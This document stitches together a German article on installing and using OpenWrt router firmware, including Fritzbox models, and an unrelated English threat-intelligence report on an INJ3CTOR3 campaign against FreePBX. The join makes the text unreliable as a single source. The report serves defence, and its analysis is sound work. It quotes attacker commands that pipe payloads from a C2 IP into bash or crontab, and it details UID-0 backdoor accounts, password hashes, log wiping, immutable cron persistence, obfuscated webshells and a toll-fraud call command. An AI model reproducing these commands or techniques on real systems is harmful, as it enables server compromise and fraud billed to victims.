OpenWrt ist ein Linux-basiertes Betriebssystem für Router und andere eingebettete Systeme, auf denen Linux grundsätzlich installiert werden kann. Die Software ersetzt die herstellereigene Firmware vollständig und stellt ein frei konfigurierbares System bereit.

Im Gegensatz zu klassischen Router-Betriebssystemen arbeitet OpenWrt mit einem beschreibbaren Dateisystem und integriertem Paketmanagement. Dadurch erweitert sich der Router funktional zu einer Plattform, auf der sich zahlreiche Dienste nach Bedarf installieren und betreiben lassen.

Das System läuft auf einer Vielzahl unterschiedlicher Hardwarearchitekturen. Neben klassischen Consumer-Routern unterstützt OpenWrt ARM- und MIPS-Plattformen sowie x86-Systeme. Diese breite Unterstützung ermöglicht einen geräteunabhängigen Betrieb mit identischer Oberfläche und vergleichbarer Konfiguration.

Foundry mit Material von Fritz und Telekom

Architektur und Funktionsprinzip

OpenWrt stellt kein fest definiertes Funktionspaket bereit, sondern ein modulares System. Nach der Installation steht ein minimales Basissystem zur Verfügung, das Routing, Netzwerkdienste und Firewall-Regeln abbildet. Weitere Funktionen lassen sich über Pakete nachinstallieren. Dazu zählen DNS-Server, VPN-Dienste, Monitoring-Werkzeuge oder Werbeblocker.

Die Verwaltung erfolgt über die Weboberfläche “LuCI” sowie optional über die Kommandozeile. Beide Wege greifen auf dieselbe Konfigurationsbasis zu. Änderungen wirken unmittelbar auf das System und lassen sich jederzeit anpassen. Dadurch behalten Sie die vollständige Kontrolle über alle Netzwerkfunktionen.

Foundry

Hardwareanforderungen und Geräteauswahl

OpenWrt läuft auf einer großen Bandbreite an Geräten. Voraussetzung bleibt die Unterstützung durch das Projekt. Vor der Installation muss geprüft werden, ob ein Router kompatibel ist. Im Heimnetz oder in kleinen Unternehmen kommen häufig günstige Consumer-Router zum Einsatz. Viele Modelle lassen sich direkt mit OpenWrt flashen. Entsprechende Geräte sind breit verfügbar, auch im Handel finden sich passende Modelle.

Ein weiterer Ansatz nutzt vorhandene Hardware im Haushalt oder Büro. Ältere Router, darunter auch frühere Gerätegenerationen der Fritzbox, lassen sich oft weiterverwenden. OpenWrt ersetzt dabei die veraltete Firmware und stellt aktuelle Funktionen sowie Sicherheitsupdates bereit. Dadurch verlängert sich die Nutzungsdauer deutlich und vorhandene Hardware erhält neue Einsatzmöglichkeiten.

Thomas Joos

Installation und erste Schritte

Die Installation erfolgt modellabhängig. In vielen Fällen reicht ein Firmware-Update über die Weboberfläche des Herstellers. Dabei wird ein spezielles Image eingespielt, das OpenWrt enthält. Nach einem Neustart übernimmt das System die Kontrolle über das Gerät. Nach der Installation stellt OpenWrt eine Standardkonfiguration bereit. Der Zugriff erfolgt über die IP-Adresse 192.168.1.1. Zu Beginn ist kein Passwort gesetzt, weshalb unmittelbar ein Zugang konfiguriert werden muss.

In der Praxis folgt danach die grundlegende Netzwerkkonfiguration. Dazu zählen die WAN-/Internet-Anbindung über DHCP oder PPPoE, die Einrichtung von LAN-Segmenten sowie die Aktivierung des WLANs. OpenWrt stellt hierfür bereits vordefinierte Schnittstellen bereit, die sich anpassen lassen.

Ein typisches Szenario nutzt OpenWrt als zentralen Router hinter einem bestehenden Internetanschluss. Nach der Installation wird die WAN-Internet-Schnittstelle auf DHCP gesetzt. Das Gerät erhält automatisch eine IP-Adresse vom vorhandenen Router oder Modem.

Anschließend erfolgt die WLAN-Konfiguration. OpenWrt erkennt vorhandene Funkmodule und stellt separate Schnittstellen für 2,4 GHz und 5 GHz bereit. Sie definieren SSIDs, wählen Verschlüsselung und setzen Zugriffsschlüssel. WPA2 oder WPA3 stehen dabei ebenfalls zur Verfügung.

Thomas Joos

Praxisbeispiel im Heimnetz

Ergänzend lässt sich die Firewall anpassen. OpenWrt verwendet standardmäßig getrennte Zonen für LAN und WAN/Internet. Regeln können erweitert werden, um Portfreigaben oder interne Dienste abzubilden. VLANs lassen sich direkt über die Netzwerkschnittstellen konfigurieren, wodurch sich separate Netze für Gäste oder IoT-Geräte realisieren lassen.

Ein weiteres praktisches Szenario umfasst die Integration eines VPN-Dienstes. OpenWrt unterstützt zum Beispiel WireGuard oder OpenVPN. Damit lässt sich ein sicherer Zugriff auf das Heimnetz aus externen Netzen umsetzen. Ebenso kann der gesamte Datenverkehr über einen VPN-Anbieter geleitet werden.

monticello / Shutterstock.com

Neue Funktionen in OpenWrt 25.12.x

Version 25.12 bringt mehrere technische Änderungen, die den Betrieb vereinfachen und erweitern. Eine zentrale Neuerung betrifft die Systemaktualisierung. Die Funktion “Attended SysUpgrade” integriert Updates direkt in die Weboberfläche. OpenWrt lädt passende Images automatisch und berücksichtigt installierte Pakete.

Dadurch entfällt die manuelle Neuinstallation von Erweiterungen nach einem Update. Ein weiterer Schritt betrifft den Paketmanager. Statt des bisherigen Systems kommt der Alpine Package Keeper zum Einsatz. Die neue Paketverwaltung arbeitet ressourcenschonend und nutzt signierte Pakete. Befehle ändern sich entsprechend, was bei manueller Administration berücksichtigt werden muss.

Thomas Joos

Zusätzlich führt OpenWrt eine optionale Shell-Historie ein. Befehle bleiben damit auch nach Sitzungsende verfügbar. Die Integration eines Video-Feeds erweitert den Router um Funktionen zur Verarbeitung von Kamera-Streams. In Verbindung mit VPN ergibt sich eine einfache Lösung für entfernten Zugriff auf Videoquellen.

Die WLAN-Verwaltung wurde intern überarbeitet. Skripte basieren auf einer neuen Laufzeitumgebung, was die Wartbarkeit verbessert und bestimmte Abläufe beschleunigt. Ergänzend erweitert sich die Hardwareunterstützung um zahlreiche neue Geräte und Chipsätze.

Vorteile im praktischen Einsatz

OpenWrt bietet vollständige Kontrolle über das Netzwerk. Alle Konfigurationsparameter bleiben zugänglich und lassen sich an individuelle Anforderungen anpassen. Herstellerabhängigkeiten entfallen, da das System auf unterschiedlichen Geräten identisch arbeitet. Ein weiterer Vorteil liegt in der Update-Strategie.

OpenWrt erhält kontinuierlich Sicherheitsupdates, auch für ältere Hardware. Dadurch bleibt die Infrastruktur langfristig wartbar, auch wenn ein Gerät vom eigentlichen Hersteller nicht mehr unterstützt wird.

Die modulare Architektur ermöglicht eine gezielte Erweiterung. Sie installieren nur benötigte Komponenten und halten das System schlank. Gleichzeitig lassen sich komplexe Funktionen auf kompakten Geräten realisieren.

Einschränkungen und Aufwand

Die Flexibilität bringt einen höheren Konfigurationsaufwand mit sich. OpenWrt erfordert grundlegende Kenntnisse in Netzwerktechnik und Linux. Viele Funktionen stehen nicht automatisch bereit, sondern müssen eingerichtet werden.

Foundry

Auch die Hardware setzt Grenzen. Consumer-Router verfügen über begrenzten Speicher und Rechenleistung. Umfangreiche Dienste oder hohe Datenraten erfordern leistungsfähigere Geräte. Die Installation birgt ein gewisses Risiko.

Fehler beim Flash-Vorgang können ein Gerät unbrauchbar machen. Daher sind die Auswahl kompatibler Hardware und die Beachtung der jeweiligen Anleitung zwingend erforderlich.

OpenWrt auf der Fritzbox

OpenWrt lässt sich auf bestimmten Fritzbox-Modellen installieren, sofern die Hardware auf unterstützten SoCs basiert und der Bootprozess keine restriktiven Signaturprüfungen erzwingt. Relevant sind vor allem ältere Gerätegenerationen mit Lantiq- oder Atheros-Chipsätzen. Dazu zählen unter anderem AVM Fritzbox 7362 SL, AVM Fritzbox 7412, AVM Fritzbox 7430 sowie AVM Fritzbox 3490 (Fritzbox-Router im Vergleich: Welches ist das beste Modell?). Diese Geräte besitzen in der Regel ausreichend RAM und Flash für ein minimales OpenWrt-System und lassen sich über Recovery-Mechanismen oder modifizierte Firmware-Images flashen. Die Installation erfolgt modellabhängig über das AVM-Recovery-Tool, den EVA-Bootloader oder ein Web-Interface, sofern ein passendes Factory-Image vorliegt.

Technisch relevant bleibt die Trennung zwischen Router- und DSL-Funktion. Die DSL-Modems in Fritzboxen basieren auf proprietären Firmware-Blobs, für die keine freien Treiber verfügbar sind. OpenWrt nutzt daher bei diesen Geräten nur die Routing- und Switching-Komponenten. In der Praxis läuft die Box dann hinter einem externen Modem oder einem vorgeschalteten Router. Ethernet-Ports, VLAN-Konfiguration und Firewall arbeiten vollständig unter OpenWrt, das integrierte DSL-Interface bleibt jedoch ungenutzt.

Auch beim WLAN ergeben sich Unterschiede. Ältere Modelle mit Atheros- oder kompatiblen Chips lassen sich meist vollständig integrieren, inklusive WPA2 und WPA3. Bei Lantiq-Plattformen kann die WLAN-Leistung eingeschränkt sein, da Hardware-Offloading oder proprietäre Erweiterungen fehlen. Aber Achtung: Funktionen aus FRITZ!OS wie DECT-Basisstation, Telefonie oder AVM-spezifische Dienste stehen unter OpenWrt nicht zur Verfügung, da diese eng an die Originalfirmware gebunden sind.

Neuere Geräte wie AVM Fritzbox 7590 (Testbericht) oder AVM Fritzbox 7530 (Testbericht) verwenden modernere SoCs mit stärker abgesicherter Bootkette und proprietären Treibern für DSL und WLAN. Für diese Plattformen existiert kein stabiler OpenWrt-Support. Selbst wenn ein Start möglich wäre, fehlen zentrale Hardwarefunktionen oder die Initialisierung bleibt unvollständig. Kabelmodelle wie AVM Fritzbox 6660 Cable sind grundsätzlich ausgeschlossen, da die DOCSIS-Komponenten vollständig proprietär arbeiten.

Ältere Fritzboxen eignen sich als kostengünstige OpenWrt-Systeme für Routing, VLAN-Segmentierung, VPN-Gateways oder als Access Point. Die Geräte erhalten aktuelle Kernel-Versionen und Sicherheitsupdates, obwohl der Hersteller keine Pflege mehr liefert. Für produktive Internetanschlüsse mit integrierter DSL- oder Kabelanbindung bleibt die Originalfirmware erforderlich, da OpenWrt diese Hardwarebereiche nicht unterstützt.

Einsatz im kleinen Unternehmen

In kleinen Unternehmen dient OpenWrt als flexible Netzwerkzentrale. Mehrere VLANs trennen interne Systeme, Gästezugänge und IoT-Komponenten. VPN-Verbindungen verbinden Außenstandorte oder ermöglichen mobilen Zugriff. Durch die Kombination aus Firewall, Routing und Zusatzdiensten lässt sich damit eine kompakte Infrastruktur ohne separate Appliances erstellen. Gleichzeitig bleibt die Konfiguration vollständig kontrollierbar und anpassbar.

OpenWrt ersetzt damit in vielen Szenarien klassische Router-Firmware und erweitert den Funktionsumfang deutlich.

INJ3CTOR3 Builds a Self-Healing Persistence Framework 

Attackers Create 18 Backdoor Accounts Across FreePBX Systems 

JOMANGY Introduces a New PHP Webshell Family 

Large-Scale Reconnaissance Suggests Mass Exploitation 

Infrastructure Overlaps Tie the Campaign to INJ3CTOR3 

Stage 1 Establishes Initial Control and Persistence 

Stage 2 Deploys JOMANGY Across Legitimate FreePBX Directories 

Possible Exploitation Paths Remain Under Investigation 

ZenharR Malware Toolkit Expands the Infection 

license.php Functions as a Privileged Persistence Mechanism 

Obfuscation and Evasion Techniques Reduce Detection Rates 

VoIP Toll Fraud Continues to Grow Globally 

Executive Summary

Cyble Research & Intelligence Labs (CRIL) has identified an active FreePBX exploitation campaign, with high confidence tied to INJ3CTOR3, an actor with a documented history of targeting VoIP infrastructure for financial gain since 2019.

The campaign deploys a multi-stage Bash dropper that introduces JOMANGY, a PHP webshell family with no prior public documentation, alongside ZenharR, previously attributed to the same actor lineage. Every deployed webshell instance carries live VoIP toll fraud code that routes calls through the victim's own SIP trunks at the victim's expense. A C2-hosted IP inventory of 3,080 addresses, assessed as scanner output from a co-located reconnaissance node, reflects the operational scale.

The persistence architecture distinguishes this generation from prior INJ3CTOR3 campaigns. Six independent channels protect each other, spanning cron-based C2 polling, shell profile injection, immutable crontab backups, a process watchdog, chattr +i-protected webshell copies, and a self-reinstalling PHP executor. Any single surviving channel is enough to re-establish the full infection within minutes. Partial remediation is, by design, functionally useless.

The infection chain also drops 18 backdoor accounts across three tiers. Nine have UID-0 (root-equivalent) privileges, eight are service-tier OS accounts, and one is a FreePBX web panel account injected directly into MySQL. Account names are deliberately chosen to blend into the legitimate FreePBX service account inventory.

Key Takeaways

• JOMANGY is a PHP webshell family with no prior public documentation (this analysis being its first description). Every deployed instance uses double-layer obfuscation (base64 over ROT13) and carries the watermark string 'trace_e1ebf9066a951be519a24140711839ea', tying all campaign webshells back to a single source.
• The campaign establishes six independent persistence channels that protect each other: cron-based C2 polling every one to three minutes; shell profile injection firing on root login and reboot; eight chattr +i-immutable crontab backups protected by two separate restore cron loops; a process watchdog that respawns the beacon; chattr +i-protected webshell copies; and a PHP executor with its own cron reinstallation logic. Any single surviving channel re-establishes the full infection within minutes.
• 18 backdoor accounts land across the infection chain in three tiers: nine UID-0 (root-equivalent) OS accounts, eight service-account-tier OS accounts, and one FreePBX web panel account injected directly into MySQL. Account names such as asterisk, asteriskuser, freepbxuser, and spamfilter are deliberately chosen to blend into the legitimate FreePBX service account inventory.
• All three deployed webshell instances carry live VoIP toll fraud code that places calls through the victim's own SIP trunks via asterisk -rx "channel originate Local/<num>@<context>". A C2-hosted IP address inventory (people2.txt, 3,080 entries, assessed as scanner output), with roughly 39% pointing at Alibaba Cloud-hosted infrastructure, highlights the operational scale.
• The Stage 1 dropper evicts 50+ webshell signatures and blocks 11 competitor C2 IPs bidirectionally, while simultaneously self-evicting every artifact from INJ3CTOR3's own January 2026 campaign, consistent with the operator migrating their active botnet from Brazilian to Dutch infrastructure between campaign generations.
• At the time of analysis, we were not able to recover the exploit payload and could not confirm the entry vector from artifacts alone. The artifacts point to two candidate CVEs with high confidence: CVE-2025-64328 (FreePBX filestore module post-auth command injection, the documented prior-campaign entry vector) and CVE-2025-57819 (FreePBX Endpoint module pre-auth SQL injection via cron_jobs, whose WatchTowr Labs PoC artifacts the Stage 1 dropper explicitly evicts).
• Six independent artifact overlaps (the unique marker string `bm2cjjnRXac1WW3KT7k6MKTR`, the INJ3CTOR3 actor name appearing explicitly as an eviction target, the prior C2 `45.234.176.202` in the iptables block list, shared binary names and file paths, the `newfpbx` UID-0 backdoor account, and the MySQL `ampusers` insertion pattern) with Fortinet's January 2026 encystPHP report tie this campaign to INJ3CTOR3, corroborated by Check Point Research (2020), Palo Alto Unit 42 (2022), and SANS ISC diary #32892 (2026-04-13). The C2 URL framework (/k.php, /z/wr.php, /z/post/root.php) has been in continuous operation since at least 2021.
• k.php (100259af)and wr.php (d40180f7) were absent from VirusTotal at the time of analysis. The primary dropper (b506fc82) had four detections across 76 engines. The operator actively rotates k.php content, which further degrades signature coverage over time.

Attribution

We attribute the JOMANGY campaign to INJ3CTOR3 with high confidence based on the following:

• The eviction routine names bm2cjjnRXac1WW3KT7k6MKTR as a grep target (the same unique marker Fortinet identified in the January 2026 encystPHP dropper) and also names INJ3CTOR3 directly as an eviction target in the same block.
• The rest of the Fortinet overlaps (prior C2 45[.]234[.]176[.]202 in the iptables block list, shared file paths and binary names, the newfpbx UID-0 backdoor, the MySQL ampusers pattern) confirm this. Unit 42 documented the same ZenharR toolset and identical C2 URL structure against the same actor in 2022.
• SANS ISC diary #32892 independently identified the current C2 and the shared password hash in April 2026. Check Point Research traced the same eviction targets, b3d0r and yokyok, to this actor's CVE-2019-19006 campaign in 2020.

For anyone tracking this actor long-term, it is worth noting that Juba was explicitly deleted and evicted in the January 2026 dropper. Yet, the current Stage 1 resets its password without recreating the account.

An operator working from someone else’s scripts would not know which dormant accounts to password-cycle. The motivation behind this is toll fraud, as in every generation of this campaign, since 2019. (See Figure 2)

Victimology and Target Profile

The 3,080-IP inventory (people2.txt) is mostly APAC cloud: Alibaba Cloud, which spans China, Hong Kong, and Singapore, accounts for roughly 39%. The C2 was live during artifact collection, and the operator was actively updating the list between snapshots.

The Elastix SQLite database theft (/var/www/db/acl.db) and the use of account names such as Issabel and Sangoma indicate that the operator is targeting every major PBX platform family across Latin America, Southeast Asia, and the Middle East.

The 2 in people2.txt likely implies an earlier version of the list exists somewhere. Across 3,080 assessed entries, this is assessed as automated mass exploitation rather than a targeted campaign. (See Figure 3)

Background

VoIP toll fraud is one of the leading categories in a $41.82 billion global telecom fraud problem (CFCA, Global Fraud Loss Survey 2025 & [9]) that rarely makes it into mainstream security coverage.

FreePBX and Asterisk deployments have been a consistent target for financially motivated actors for most of the last decade. A FreePBX host with working SIP trunks gives an attacker direct access to the victim's carrier accounts and the ability to originate calls at will.

Toll fraud avoids the operational overhead of ransomware negotiations or finding a data buyer by having the operator route calls through premium-rate numbers (IPRNs) they control or sell capacity to third-party fraud networks and then have the victim's carrier send the bill.

Internet-exposed FreePBX management interfaces number globally in the tens of thousands, with a large fraction running end-of-life releases and minimal host hardening.

INJ3CTOR3 has been exploiting this attack surface continuously since at least 2019. Check Point Research documented the actor's CVE-2019-19006 campaign in 2020. Palo Alto Unit 42 followed with a ZenharR-deploying generation targeting CVE-2021-45461 in 2022. Fortinet then covered the January 2026 encystPHP iteration operating from C2 45[.]234[.]176[.]202.

The Shadowserver Foundation tracked over 900 FreePBX instances that were actively compromised as of February 2026 and were tied to that campaign. By May 2026 (five months after public disclosure), 700+ remained compromised across North America, Europe, Asia, South America, Africa, and Oceania. That number reflects how genuinely difficult these infections are to clear. (See Figure 4)

Shadowserver independently attributed the ongoing compromises to exploitation of CVE-2025-64328, the same CVE that emerges as a candidate for initial access in the current campaign.

We collected the current generation in April 2026 from a Bash dropper still communicating with an active C2 at 45[.]95[.]147[.]178 (using artifacts from C2's web directory also referenced by SANS ISC diary #32892).

Technical Analysis

Initial Access Vector

The earliest recovered artifact (Stage 1, b506fc82) is already executing on the victim system. No exploit payload or HTTP server access logs were recovered, so the initial entry point was not confirmed.

However, two CVEs emerge as high-confidence candidates, each tied to a distinct forensic indicator in the samples.

Every stage from Stage 1 through the license.php executor includes a line that scrubs Apache httpd logs of entries containing the string "restapps" (sed -i '/restapps/d'). The JOMANGY webshell cleanup routine also explicitly targets file patterns associated with WatchTowr Labs' CVE-2025-57819 proof-of-concept.

Files matching *-watchTowr-*.php are searched for and deleted. Both patterns are confirmed in the sample. What they imply about the initial access vector is assessed, not confirmed. (See Figure 5)

CVE-2025-64328 is a post-authentication command-injection vulnerability in the FreePBX filestore module, affecting versions 17.0.2.36 through 17.0.3, and patched in 17.0.3 (CVSS 8.6, FreePBX advisory). CISA added it to the KEV (Known Exploited Vulnerabilities) catalog in February 2026 following Shadowserver Foundation reporting of approximately 900 compromised instances beginning in December 2025.

Fortinet documented CVE-2025-64328 as the entry vector for the January 2026 prior encystPHP campaign operating from C2 45[.]234[.]176[.]202, the same prior campaign whose artifacts the current dropper systematically evicts. That direct lineage makes it a strong candidate for campaign continuity.

There is a caveat, though. CVE-2025-64328 operates through the filestore module at HTTP path /admin/ajax.php?module=filestore&command=testconnection.

The restapps log scrubbing present throughout every stage of the current campaign does not correspond to this module's exploitation path and therefore, cannot be read as evidence of CVE-2025-64328 here.

That restapps log-scrubbing is better understood as a legacy behavioral artifact the actor has carried across every campaign generation since 2022, when CVE-2021-45461 (the Rest Phone Apps module RCE documented by Unit 42) served as the prior-generation entry vector and introduced ZenharR) persists as a carry-forward into the current campaign.

This behavioral continuity is analytically useful for long-term actor tracking, but it does not constrain the current entry vector assessment. CVE-2025-64328 and CVE-2025-57819 remain the high-confidence candidates for the current campaign.

CVE-2025-57819 is a pre-authentication SQL injection vulnerability in the FreePBX Endpoint module. WatchTowr Labs documented active exploitation beginning September 2025, through a mechanism that inserts a malicious entry into the Endpoint module's cron_jobs database table, causing FreePBX's internal scheduler to execute arbitrary OS commands at one-minute intervals, a mechanism architecturally identical to this campaign's own cron-persistence model (WatchTowr Labs CVE-2025-57819 proof-of-concept).

The pre-authentication nature is consistent with mass automated exploitation across a 3,080-entry assessed target inventory. The architecture presents an additional indicator: the prior encystPHP dropper (71d94479) explicitly disabled the Endpoint module (chmod 000 endpoint/ajax.php) and (fwconsole ma uninstall endpoint, fwconsole ma delete endpoint). (See Figure 6)

The current campaign does not disable the Endpoint module. If CVE-2025-57819 was the entry vector, disabling the module eliminates the entry path itself. An operator who still needs the module active for exploitation would leave it running. Therefore, we treat this architectural inference as the strongest available evidence linking CVE-2025-57819 to the current campaign.

Campaign Architecture and Staging

The infection chain runs across three Bash payload stages, with license.php serving as a PHP executor component written to disk by those stages rather than fetched directly from the C2.

Stage 1 (b506fc82) is the initial Bash dropper where a concurrent re-run variant (/x) re-applies the same host-takeover behaviors on already-owned hosts and is treated as part of Stage 1 rather than a separate stage.

Stage 2 (k.php) deploys the JOMANGY webshell family and is the first one to write license.php to disk.

Stage 3 (wr.php, d40180f7) is a ZenharR dropper that forms a second cron download track running in parallel with k.php. wor.php (995e6304) is a second ZenharR dropper hosted at /z/wor.php on the C2.

It was recovered from the C2 artifact dump, but has no trigger identified in any executed payload in the recovered artifact chain. license.php is a PHP command executor invoked via the FreePBX HA hook; it executes between Stage 2 and Stage 3 in the chain, then again after Stage 3 rewrites it. (See Figure 1 for the campaign architecture flow)

Stage-by-Stage Payload Analysis

Stage 1: Bash Dropper (23,355 bytes, b506fc82)

The dropper runs in a deliberate order. Competitor eviction goes first, followed by credential implantation and persistence installation, with log destruction last. Running eviction up front clears competing implants and defensive tooling before the operator's own infrastructure lands, shrinking the window where both sides' webshells coexist on the same host.

It deletes previously placed download artifacts (devnull24, devnull23, devnull2, and prior campaign iteration artifacts, as confirmed by naming patterns). Lines 15-19 handle two things in parallel:

• A blanket userdel loop which removes all non-root accounts with UID 0 or UID >= 1000,
• A MySQL INSERT establishes the FreePBX web panel backdoor for account freepbxusers with admin-level access (sections=*) and password SHA1 hash 6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9.

Then it runs the bulk competitor webshell eviction, searching /var/www/html/ and /var/www/ for approximately 50 named webshell signatures and deleting matching PHP files. (See Figure 7)

Credential implantation runs in two tiers. Lines 262-264 decode and execute three base64-obfuscated useradd commands that create UID-0 accounts newfpbxs, newfpbx, and xhimax with the shared MD5-crypt password hash. Lines 292-298 create seven more UID-0 accounts in plaintext: centos, admin, support, issabel, sangoma, emo, and xhimax (a redundant second creation of xhimax).

It creates eight non-UID-0 accounts (sugarmaint, spamfilter, asteriskuser, supports, freepbxuser, supermaint, asterisk, and hima), all sharing the same MD5-crypt password hash, and applies (Lines 312-321) the same hash to ten accounts, including root itself, via chpasswd -e. (See Figure 8)

Stage 1 installs persistence across two active tracks. The first is recurring cron polling of k.php every one to three minutes. The second is a shell profile stager appended to /root/.bash_profile, /root/.bashrc, and /etc/rc.local, which run on every root login and system reboot.

Lines 272-278 also execute a one-time phone-home to the C2 root index (http://45[.]95[.]147[.]178/) immediately on first run, separate from the cron infrastructure and effective even if the cron subsystem is blocked at execution time.

The active crontab is written to eight hidden, chattr +i-immutable backup paths using system-mimicking directory names, protected by two independent restore loops and a process watchdog.

Stage 1 deploys no webshells. That work is deferred entirely to Stage 2, an intentional departure from the prior encystPHP generation, which wrote the webshell directly from the initial dropper.

The full per-channel breakdown (including self-healing mechanism) is covered in the Persistence Mechanisms section below. (See Figure 9)

The dropper closes with SSH hardening and log wiping. (See Figure 10)

Stage 2: k.php (100259af, approximately 45KB, Bash)

It opens by fetching and executing /x via curl (curl http://45[.]95[.]147[.]178/x -ks | bash), re-applying the Stage 1 host-takeover behaviors before any webshell deployment begins.

Line 3 decodes a base64 blob and writes it to /var/www/html/admin/views/ajax.php, the FreePBX admin AJAX endpoint, and a high-traffic legitimate file that provides cover for the webshell.

Lines 15-25 copy the same blob to more than ten additional paths across the FreePBX web tree, including /var/www/html/h.php, /var/www/html/rest_phones/ajax.php, /var/www/html/admin/modules/h/ (ajax.php, config.php, index.php), and subdirectories under fpbxphones/ and phones/.

Lines 27-28 write an .htaccess rewrite rule (RewriteEngine On; RewriteRule .* config.php), so any request to an unrecognized path within those directories lands on a webshell copy.

Lines 7-8 reinstall the MySQL ampusers backdoor using the same DELETE + INSERT pattern as Stage 1, replanting the freepbxusers web panel account every time k.php executes.

Lines 9-10 redundantly repeat the useradd invocations for newfpbx and xhimax. Lines 29-30 apply chattr +i to the primary webshell files. Lines 31-32 execute a base64-decoded tryRoot1.sh shell script (run twice redundantly), which writes /var/www/html/admin/modules/freepbx_ha/license.php and triggers the FreePBX HA hooks.

The operator rotates k.php actively. The artifact collected (100259af, ~45KB) and the VT URL last-fetch variant (49abb105, retrieved 2026-04-29) are distinct, which suggests that what a victim receives from k.php at any given moment may differ from what was analyzed here. (See Figure 11)

The PHP webshell blob is double-obfuscated: an outer base64 layer encodes a PHP string that, when decoded, applies str_rot13() to a second encoded layer before passing the result to eval(). Once decoded, the webshell presents a form with <input type="submit" name="JOMANGY" value="JOMANGY">, the identifier establishing this as the JOMANGY family.

The outer PHP wrapper includes dead-code AV evasion and a watermark comment,/* trace_e1ebf9066a951be519a24140711839ea */, which appears in each deployed instance, tying deployments in this campaign to a single common source. (See Figure 12)

Stage 3: wr.php (d40180f7, 27KB, Bash)

wr.php mirrors the k.php structure but targets a different primary webshell path set and deploys the ZenharR family. It opens with the same concurrent dropper execution (curl http://45[.]95[.]147[.]178/x -ks | bash), then writes a ZenharR webshell blob to two paths simultaneously via tee: /var/www/html/digium_phones/ajax.php and /var/www/html/admin/views/some.php.

The subsequent 15 cp commands (lines 4 and 16–29) copy from /var/www/html/admin/views/ajax.php, which at this point contains the JOMANGY webshell placed by k.php, to 15 additional some.php paths across the FreePBX web tree.

These copies, therefore, propagate JOMANGY, not ZenharR. wr.php applies .htaccess and chattr +i to its primary write targets, runs the MySQL backdoor reinstallation with the same freepbxusers SHA1 hash, and calls back to http://45[.]95[.]147[.]178/z/post/noroot.php | sh after completing ZenharR deployment and file propagation, then once again after executing tryRoot1.sh.

The tryRoot1.sh execution writes /var/www/html/admin/modules/freepbx_ha/license.php and triggers the FreePBX HA hooks by writing a trigger token to /usr/local/asterisk/ha_trigger and /usr/local/asterisk/ha_triggers.

The wr.php cron entries land on a victim through two independent paths: license.php's dual-track reinstallation logic, and a set of explicit wget .../z/wr.php ... | crontab - commands baked directly into the tryRoot1.sh payload embedded in wr.php itself.

The license.php path is the shared channel, and the direct crontab install is a wr.php-specific fallback. A defender who neutralizes the license.php-mediated cron track but leaves wr.php's own tryRoot1.sh reachable still gets wr.php re-established on its own. (See Figure 13)

Stage 3 (parallel): wor.php (995e6304, 13KB, Bash)

wor.php is a lighter-weight dropper hosted at /z/wor.php on the C2 but with no trigger identified in any executed payload in the recovered artifact chain (see Campaign Architecture above). Unlike wr.php, it does not chain the concurrent dropper (x).

It writes a ZenharR webshell blob via tee to both /var/www/html/digium_phones/ajax.php and /var/www/html/admin/views/ajax.php simultaneously — the latter overwriting the JOMANGY webshell that k.php placed there, replacing it with ZenharR.

The 10 subsequent cp commands copy the contents of admin/views/ajax.php, which now holds ZenharR, to 10 additional paths. wor.php applies an .htaccess rewrite rule but has no chattr +i commands.

It calls back to hxxp://45[.]95[.]147[.]178/z/post/noroot.php| sh after completing ZenharR deployment and file propagation, then once again after executing the tryRoot1.sh sequence.

The deployed ZenharR instance uses a distinct auth hash (b92c65af386ed772972b43cab0d55a4a) and embeds operator VPN IP 169[.]150[.]218[.]33.

At the time of analysis, the noroot.php endpoint served an empty response, indicating a non-root execution callback path that is prepared but not yet populated with commands.

freepbx_ha/license.php (PHP executor)

license.php is a PHP script written to disk by tryRoot1.sh and invoked via the FreePBX HA mechanism. It contains system(‘%s’), a format-string placeholder that the operator populates through the JOMANGY webshell before triggering the HA hook, providing privileged arbitrary command execution. Unlike the JOMANGY and ZenharR browser-accessible webshells, license.php lacks an authentication mechanism and eval-based obfuscation.

Beyond that command slot, the script runs three independent user-deletion loops clearing all non-root UID-0 and UID-≥1000 accounts; chpasswd operations setting ueteGJYCHeMTk on root and seven service accounts (sugarmaint, spamfilter, asteriskuser, supports, asterisk, freepbxuser, and supermaint); useradd commands promoting sugarmaint, supports, and supermaint to UID-0; SSH hardening; httpd log scrubbing; a dual-track cron reinstallation covering both k.php and z/wr.php download paths; and a final curl http://45[.]95[.]147[.]178/z/post/root.php | sh. At the time of analysis, root.php served a 12-byte #!/bin/bash stub with no active commands.

The script also explicitly enables PermitRootLogin, opens TCP/22 through iptables, and restarts sshd to ensure remote administrative access remains available. (See Figure 14)

Obfuscation and Evasion Techniques

Stage 1's encoding choices are purposeful. Most of the script runs in plaintext, including competitor eviction, iptables rules, and log deletion. The base64 encoding is reserved specifically for the UID-0 useradd invocations (lines 262-264) and the shell profile stager (line 302).

The -ou 0 flag combination is one of the more reliable behavioral heuristics in endpoint tooling, and encoding those three lines costs the operator nothing while suppressing the most detectable pattern in the dropper.

The cron payload variables (B64_ZEN2, B64_DEVNULL, B64_HEAL) are stored as base64 strings decoded inline at runtime. A crontab -l on a victim host returns what appears to be benign variable assignments.

The download URLs and execution commands are not visible without manually decoding each variable. (See Figure 15)

JOMANGY's encoding is a step up from what this operator has used before. The outer PHP blob runs str_rot13() on an inner base64 payload before passing to eval(). In practice, automated analysis tools that stop after a single base64 decode pass produce ROT13 output, not PHP, and yield nothing actionable.

The dead-code stub (if(false){ $SdDDlKoPiuhDB = 'deadcode_anti_av'; }) is a separate trick that targets static heuristics that flag PHP files for suspicious variable assignments. The variable exists only inside a branch that never executes. Neither of the techniques used is novel, but both offer cheap modifications with measurable payoff. (See Figure 16)

k.php, and wr.php had zero VirusTotal submissions at the time of analysis, and Stage 1 came in at four detections across 76 engines. (See Figure 17)

Persistence Mechanisms

The campaign establishes six independent persistence channels, engineered so that partial remediation leaves the infection intact and capable of full re-establishment.

Channel 1: Primary cron polling: We observed 8 cron entries installed across 2 blocks download hxxp://45[.]95[.]147[.]178/k.php every one to three minutes and execute the result under varying binary paths in /var/lib/asterisk/bin/, /dev/shm/.systemd/, and /tmp/.cache/.

This is the primary beacon: every minute, the crontab runs, fetching the latest version of k.php and re-executing it, redeploying any removed webshells within 3 minutes. (See Figure 18)

Channel 2: Shell profile persistence. Stage 1 appends a base64-encoded download-and-execute stager to /root/.bash_profile, /root/.bashrc, and /etc/rc.local. This channel fires on every interactive root login and every system reboot, independently of the cron subsystem. An operator who kills all running dropper processes and clears the crontab will re-trigger the infection on the next login or reboot. (See Figure 19)

